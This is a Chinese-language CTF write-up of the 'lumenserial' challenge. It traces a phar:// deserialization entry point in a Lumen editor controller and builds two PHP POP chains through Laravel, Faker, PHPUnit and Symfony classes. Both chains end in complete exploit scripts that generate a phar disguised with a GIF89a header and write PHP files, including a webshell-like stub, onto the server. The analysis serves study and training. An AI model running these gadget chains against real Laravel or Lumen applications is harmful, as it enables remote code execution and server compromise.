在安全客看到了两篇文章PHP反序列化入门之寻找POP链(一) ,PHP反序列化入门之寻找POP链(二) ,之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。
任意反序列化 查看路由 /routers/web.php
1 2 3 4 5 6 7 8 9 10 <?php use Illuminate \Http \Request ;use Symfony \Component \HttpFoundation \File \File ;$router ->get('/' , function (Request $request ) use ($router ) { return view('index' ); }); $router ->get('/server/editor' , 'EditorController@main' );$router ->post('/server/editor' , 'EditorController@main' );
跟进EditorController
,download方法中$url
未经过过滤直接传入file_get_contents
,查看$url
来源,如果我们可控,则我们可以利用phar://来任意反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 private function download ($url ) { $maxSize = $this ->config['catcherMaxSize' ]; $limitExtension = array_map(function ($ext ) { return ltrim($ext , '.' ); }, $this ->config['catcherAllowFiles' ]); $allowTypes = array_map(function ($ext ) { return "image/{$ext} " ; }, $limitExtension ); $content = file_get_contents($url ); $img = getimagesizefromstring($content );
查看$url
如何传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function __construct ( ) { $config_filename = app()->basePath('resources/editor/config.json' ); $this ->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//" , "" , file_get_contents($config_filename )), true ); } protected function doCatchimage (Request $request ) { $sources = $request ->input($this ->config['catcherFieldName' ]); $rets = []; if ($sources ) { foreach ($sources as $url ) { $rets [] = $this ->download($url ); } } return response()->json([ 'state' => 'SUCCESS' , 'list' => $rets ]); }
$url
从$sources
获得,$sources
我们可控,查看$this->config['catcherFieldName']
。 因此只要请求一个source
参数即可控制$url
,接下来就是寻找popchain。 由于这里环境为php7.2.12,且disable_function
过滤了各种危险函数。因此我们需要找到其他利用点,例如call_user_func_array('file_put_contents',array('smi1e.php','123'))
。
POP Chain 1 首先要寻找寻找__wakeup
或者 __destruct
。在phpggc 里面所有的Laravel/RCE 都是利用的\Illuminate\Broadcasting\PendingBroadcast::__destruct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace Illuminate \Broadcasting ;use Illuminate \Contracts \Events \Dispatcher ;class PendingBroadcast { protected $events ; protected $event ; public function __construct (Dispatcher $events , $event ) { $this ->event = $event ; $this ->events = $events ; } public function __destruct ( ) { $this ->events->dispatch($this ->event); } }
$event
和$event
可控,因此要么我们控制$this->events
触发__call
方法,要么寻找带有dispatch
方法的类。 发现/vender/fzaninotto/faker/src/Faker/ValidGenerator.php
中的__call
方法比较好用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; public function __construct (Generator $generator , $validator = null , $maxRetries = 10000 ) { if (is_null($validator )) { $validator = function ( ) { return true ; }; } elseif (!is_callable($validator )) { throw new \InvalidArgumentException ('valid() only accepts callables as first argument' ); } $this ->generator = $generator ; $this ->validator = $validator ; $this ->maxRetries = $maxRetries ; } public function __call ($name , $arguments ) { $i = 0 ; do { $res = call_user_func_array(array ($this ->generator, $name ), $arguments ); $i ++; if ($i > $this ->maxRetries) { throw new \OverflowException (sprintf('Maximum retries of %d reached without finding a valid value' , $this ->maxRetries)); } } while (!call_user_func($this ->validator, $res )); return $res ; } }
可以看到call_user_func_array
的结果传入了call_user_func
,而$this->validator
我们可控,因此只要我们可以控制call_user_func_array
的返回结果,则可以执行任意类的方法。 接下来就是找一个可以控制返回结果的类 /vender/fzaninotto/faker/src/Faker/DefaultGenerator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace Faker ;class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } public function __get ($attribute ) { return $this ->default; } public function __call ($method , $attributes ) { return $this ->default; } }
现在call_user_func($this->validator, $res)
两个参数都可控,但是执行file_put_contents
需要两个参数,因此我们需要再找到一个类中有call_user_func_array
函数,且参数可控的方法。 /phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 namespace PHPUnit \Framework \MockObject \Stub ;use PHPUnit \Framework \MockObject \Invocation ;use PHPUnit \Framework \MockObject \Stub ;class ReturnCallback implements Stub { private $callback ; public function __construct ($callback ) { $this ->callback = $callback ; } public function invoke (Invocation $invocation ) { return \call_user_func_array($this ->callback, $invocation ->getParameters()); } ..... }
Invocation是一个接口,查找其实现的代码。 /phpunit/phpunit/src/MockObject/Invocation/Invocation.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php namespace PHPUnit \Framework \MockObject ;interface Invocation { public function generateReturnValue ( ) ; public function getClassName ( ): string ; public function getMethodName ( ): string ; public function getParameters ( ): array ; public function getReturnType ( ): string ; public function isReturnTypeNullable ( ): bool ; }
/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php
1 2 3 4 5 6 7 8 9 10 11 12 13 class StaticInvocation implements Invocation , SelfDescribing { public function __construct ($className , $methodName , array $parameters , $returnType , $cloneObjects = false ) { $this ->className = $className ; $this ->methodName = $methodName ; $this ->parameters = $parameters ; ..... } public function getParameters ( ): array { return $this ->parameters; }
$invocation->getParameters()
的返回值可控。因此我们可以完全控制call_user_func_array($this->callback, $invocation->getParameters())
中的参数。 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php namespace Illuminate \Broadcasting {class PendingBroadcast { protected $events ; protected $event ; public function __construct ($events , $event ) { $this ->events = $events ; $this ->event = $event ; } } }; namespace Faker {class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; public function __construct ($generator , $validator = null , $maxRetries = 10000 ) { $this ->generator = $generator ; $this ->validator = $validator ; $this ->maxRetries = $maxRetries ; } } }; namespace PHPUnit \Framework \MockObject \Stub {class ReturnCallback { private $callback ; public function __construct ($callback ) { $this ->callback = $callback ; } } }; namespace PHPUnit \Framework \MockObject \Invocation {class StaticInvocation { private $parameters ; public function __construct ($parameters ) { $this ->parameters = $parameters ; } } }; namespace { $function='file_put_contents'; $parameters =array ('/var/www/html/smi1e.php' ,'<?php $_POST[\'1\'];?>' ); $invocation =new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters ); $return =new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function ); $default =new Faker\DefaultGenerator($invocation ); $valid =new Faker\ValidGenerator($default ,array ($return ,'invoke' ),100 ); $obj =new Illuminate\Broadcasting\PendingBroadcast($valid ,1 ); $o = $obj ; @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("GIF89a<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); }; ?>
ps:这里/var/www/html
目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。
POP Chain 2 这个链的核心是/vender/fzaninotto/faker/src/Faker/Generator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 class Generator { protected $providers = array (); protected $formatters = array (); public function __call ($method , $attributes ) { return $this ->format($method , $attributes ); } public function format ($formatter , $arguments = array ( ) ) { return call_user_func_array($this ->getFormatter($formatter ), $arguments ); } public function getFormatter ($formatter ) { if (isset ($this ->formatters[$formatter ])) { return $this ->formatters[$formatter ]; } foreach ($this ->providers as $provider ) { if (method_exists($provider , $formatter )) { $this ->formatters[$formatter ] = array ($provider , $formatter ); return $this ->formatters[$formatter ]; } } throw new \InvalidArgumentException (sprintf('Unknown formatter "%s"' , $formatter )); } }
call_user_func_array
可以看到call_user_func_array
的两个参数完全可控,因此我们只要找到方法中存在形如this->$object->$method($arg1,$arg2)
且4个参数均可控的地方,就可以利用这个 Generator 类的 __call
方法,最终执行call_user_func_array('file_put_contents',array('1.php','123'))
。 /vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php
中的dispatch
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class TraceableEventDispatcher implements TraceableEventDispatcherInterface { public function dispatch ($eventName , Event $event = null ) { if (null === $event ) { $event = new Event(); } if (null !== $this ->logger && $event ->isPropagationStopped()) { $this ->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.' , $eventName )); } $this ->preProcess($eventName ); ...... }
跟进preProcess方法 可以看到这里有我们想要的this->$object->$method($arg1,$arg2)
,且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的$this->getListenerPriority
会发现该方法也有我们想要的东西,这样就更好了。 但前提是我们要绕过这个if条件,我们需要让$this->dispatcher->hasListeners($eventName)
返回为True。
1 2 3 4 5 if (!$this ->dispatcher->hasListeners($eventName )) { $this ->orphanedEvents[] = $eventName ; return ; }
我们可以继续利用开头说到的这个POP链的核心类/vender/fzaninotto/faker/src/Faker/Generator.php
,令$formatters['hasListeners']
等于一个能够把$eventName
做为参数且返回True的函数即可,而$eventName
其实是需要写的文件路径。因此用strlen函数即可。 继续跟进foreach条件,我们需要控制$this->dispatcher->getListeners($eventName)
的返回结果进而才能控制$listener
,搜索可利用的getListeners
方法。 /vender/illuminate/events/Dispatcher.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Dispatcher implements DispatcherContract { protected $listeners = []; public function getListeners ($eventName ) { $listeners = $this ->listeners[$eventName ] ?? []; $listeners = array_merge( $listeners , $this ->wildcardsCache[$eventName ] ?? $this ->getWildcardListeners($eventName ) ); return class_exists($eventName , false ) ? $this ->addInterfaceListeners($eventName , $listeners ) : $listeners ; } }
可以发现$listeners
很容易被控制,从而我们可以控制返回结果。现在我们可以控制$this->dispatcher->getListenerPriority($eventName, $listener)
所有参数,然后再次利用开头所说的核心类/vender/fzaninotto/faker/src/Faker/Generator.php
执行call_user_func_array($this->getFormatter($formatter), $arguments);
,参数完全可控,从而执行call_user_func_array('file_put_contents',array('1.php','123'))
。 第二个POP链看着wp都构造不出来,看懵逼了。。。找到这个链的师傅太强了,Orz! exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php namespace Illuminate \Events { class Dispatcher { protected $listeners = []; protected $wildcardsCache = []; public function __construct ($parameter ) { $this ->listeners[$parameter ['filename' ]] = array ($parameter ['contents' ]); } } }; namespace Faker { class Generator { protected $providers = array (); protected $formatters = array (); public function __construct ($providers ,$formatters ) { $this ->formatters = $formatters ; $this ->providers = $providers ; } } }; namespace Symfony \Component \EventDispatcher \Debug { class TraceableEventDispatcher { private $dispatcher ; public function __construct ($dispatcher ) { $this ->dispatcher = $dispatcher ; } } }; namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event ; public function __construct ($events , $parameter ) { $this ->events = $events ; $this ->event = $parameter ['filename' ]; } } }; namespace { $function='file_put_contents'; $paramters =array ('filename' =>'/var/www/html/upload/1.php' ,'contents' =>'<? phpinfo();?>' ); $dispatcher = new Illuminate\Events\Dispatcher($paramters ); $generator = new Faker\Generator ([$dispatcher ],['hasListeners' =>'strlen' ,'getListenerPriority' =>$function ]); $trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator ); $obj =new Illuminate\Broadcasting\PendingBroadcast($trace ,$paramters ); $o = $obj ; @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("GIF89a<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); }; ?>
这次我直接写进了upload目录,没有更改容器权限。